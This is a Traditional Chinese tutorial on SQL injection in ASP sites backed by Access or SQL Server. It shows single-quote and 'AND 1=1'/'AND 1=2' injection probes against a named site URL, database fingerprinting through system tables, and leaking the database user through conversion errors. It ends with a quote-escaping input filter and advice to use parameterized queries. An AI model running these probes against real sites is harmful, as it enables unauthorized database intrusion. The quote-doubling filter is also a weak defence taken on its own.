B/S 架構普及降低開發門檻,但也導致大量程式缺乏輸入驗證,成為 SQL 注入溫床。注入攻擊走標準 HTTP 埠 (80/443),防火牆難以攔截;若無 IIS 日誌審計習慣,入侵可潛伏極久。本文以 ASP + Access/SQL Server 為主流環境,系統說明注入原理、漏洞判斷、資料庫辨識與基礎利用技巧。
工具 → 網際網路選項 → 進階 → 取消勾選「顯示友善 HTTP 錯誤訊息」,否則伺服器詳細錯誤將被 IE 遮蔽為通用 500 錯誤,無法獲取注入線索。
應用程式未過濾用戶輸入,直接拼接至 SQL 陳述式。攻擊者提交精心構造的惡意代碼,改變原本查詢邏輯,竊取、竄改或刪除資料。
實例: `https://www.19cn.com/showdetail.ASP?id=49` 後加單引號 `'` → 伺服器回傳:
Microsoft JET Database Engine 錯誤 '80040e14'
字串語法錯誤 在查詢運算式 'ID=49'' 中。
/showdetail.ASP,行 8
推斷:
| 請求 | 預期回應 | 判斷 |
|---|---|---|
| `id=49` | 正常顯示 | 基準 |
| `id=49 AND 1=1` | 正常顯示,內容與基準相同 | ✅ 可能注入 |
| `id=49 AND 1=2` | BOF/EOF、找不到記錄、空白頁 (視錯誤處理而定) | ✅ 確認注入 |
原理:`AND 1=1` 恆真不影響結果集;`AND 1=2` 恆假導致結果集為空。若應用程式未參數化,此差異直接揭露注入點。
id=test' AND '1'='1 -- 正常
id=test' AND '1'='2 -- 異常/空白
Access 與 SQL Server 佔國內網站 99% 以上,功能差異大,注入語法截然不同,必須先辨識。
id=49 AND USER>0
`USER` 為 `nvarchar`,與 `INT 0` 比較觸發轉型錯誤,錯誤訊息直接洩露當前登入用戶名 (如 `dbo` 代表 `sa` 權限)。
| 測試語句 | SQL Server 回應 | Access 回應 |
|---|---|---|
| `AND (SELECT COUNT(*) FROM sysobjects)>0` | 頁面正常 (表存在) | 頁面異常/空白 (表不存在) |
| `AND (SELECT COUNT(*) FROM msysobjects)>0` | 頁面異常 (表不存在) | 通常異常 (Web 環境無權限讀取) |
以第一條語句為主判斷,第二條為驗證。
Function SafeRequest(ParaName, ParaType)
' ParaType: 1=數值, 0=字串
Dim ParaValue
ParaValue = Request(ParaName)
If ParaType = 1 Then
If Not IsNumeric(ParaValue) Then
Response.Write "參數 " & ParaName & " 必須為數值型!"
Response.End
End If
Else
ParaValue = Replace(ParaValue, "'", "''") ' 單引號跳脫
End If
SafeRequest = ParaValue
End Function
SQL 注入核心在於「未驗證輸入直接拼接 SQL」。掌握 `1=1/1=2` 邏輯判斷、資料庫類型辨識、系統表資訊收集,是滲透測試的基礎功夫。開發端唯一正解:參數化查詢 + 最小權限資料庫帳號 + 錯誤訊息不回顯給用戶端。